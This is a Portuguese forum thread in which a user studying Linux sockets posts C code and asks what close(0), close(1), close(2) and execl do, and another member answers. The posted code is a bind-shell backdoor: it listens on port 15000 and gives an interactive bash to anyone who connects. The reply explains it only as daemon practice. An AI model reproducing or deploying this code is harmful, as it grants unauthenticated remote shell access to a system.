Ir ao conteúdo
  • Comunicados

    • Gabriel Torres

      Seja um moderador do Clube do Hardware!   12-02-2016

      Prezados membros do Clube do Hardware, Está aberto o processo de seleção de novos moderadores para diversos setores ou áreas do Clube do Hardware. Os requisitos são:   Pelo menos 500 posts e um ano de cadastro; Boa frequência de participação; Ser respeitoso, cordial e educado com os demais membros; Ter bom nível de português; Ter razoável conhecimento da área em que pretende atuar; Saber trabalhar em equipe (com os moderadores, coordenadores e administradores).   Os interessados deverão enviar uma mensagem privada para o usuário @Equipe Clube do Hardware com o título "Candidato a moderador". A mensagem deverá conter respostas às perguntas abaixo:   Qual o seu nome completo? Qual sua data de nascimento? Qual sua formação/profissão? Já atuou como moderador em algo outro fórum, se sim, qual? De forma sucinta, explique o porquê de querer ser moderador do fórum e conte-nos um pouco sobre você.   OBS: Não se trata de função remunerada. Todos que fazem parte do staff são voluntários.
    • DiF

      Poste seus códigos corretamente!   21-05-2016

      Prezados membros do Fórum do Clube do Hardware, O Fórum oferece um recurso chamado CODE, onde o ícone no painel do editor é  <>     O uso deste recurso é  imprescindível para uma melhor leitura, manter a organização, diferenciar de texto comum e principalmente evitar que os compiladores e IDEs acusem erro ao colar um código copiado daqui. Portanto convido-lhes para ler as instruções de como usar este recurso CODE neste tópico:  
Entre para seguir isso  
cocordedenator

Algumas funcoezinha q estao me pegando..

Recommended Posts

hahaha.. bem.. estou estudando sobre sockets em linux e estou tendo o seguinte probleminha com um certo programa de teste...

o codigo e o seguinte:

#include<stdio.h>

#include<sys/types.h>

#include<sys/socket.h>

#include<netdb.h>

#include<netinet/in.h>

#define PORTA_BACK 15000

#define CONEXOES 15

main()

{

int nsocket, newsocket;

struct sockaddr_in local;

struct sockaddr_in remote;

int tam;

if (fork()==0) {

bzero(&local,sizeof(local));

local.sin_family = AF_INET;

local.sin_port = htons(PORTA_BACK);

local.sin_addr.s_addr = INADDR_ANY;

bzero(&(local.sin_zero),8);

nsocket = socket(AF_INET, SOCK_STREAM, 0);

bind(nsocket, (struct sockaddr *) &local, sizeof(struct sockaddr));

listen(nsocket, CONEXOES);

tam = sizeof(struct sockaddr_in);

while(1)

if ((newsocket = accept(nsocket, (struct sockaddr *)&remote, &tam))==1) {

perror("accept");

exit(1);

}

if(!fork()) {

close(0);

close(1);

close(2);

dup2(newsocket,0);

dup2(newsocket,1);

dup2(newsocket,2);

execl("/bin/bash" , "bash", "-i", (char *)0);

close(newsocket);

exit(0);

}

}

return 0;

}

hahaa... Ta legal... agora que vem o problema...

Quanto a manipulacao de processos usando o fork eu consegui entender perfeitamente... mas não compreendi os seguintes fatos:

* Qual o motivo do close(0); close(1); close(2)? O que eles realmente estão fechando? ou pelo menos qual o motivo deles?

* O que realmente faz a funcao execl?

Por enquanto e so isso mesmo.. hah amuito obrigado... ^_^:devil:

Compartilhar este post


Link para o post
Compartilhar em outros sites
pflynn    0

close(0), close(1) e close(2) é um processo comum em programas daemons que tem a função de fechar, repectivamente, a entrada padrão, a saida padraõ e a saída de erros do processo. O ideal é fechar não apenas esses descritores de arquivos, mas qualquer descritor que possa estar aberto, então, num daemon, é comum ver coisas do tipo:

for(i = 0; i<= MAX_OPEN_FD;++i)

close(i);

sendo MAX_OPEN_FD o número máximo de descritores de arquivos suportados pelo processo. O motivo de se fechar esses canais é que, geralmente, um daemon usa apenas os serviços do syslog para passar informações.

Quanto a função execl(2), ela faz parte da família de funções execve, e o que ela faz e substituir o processo atual por um novo processo (o que vai ser executado), no caso do seu programa, um bash com a opção de login.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Entre para seguir isso  





Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×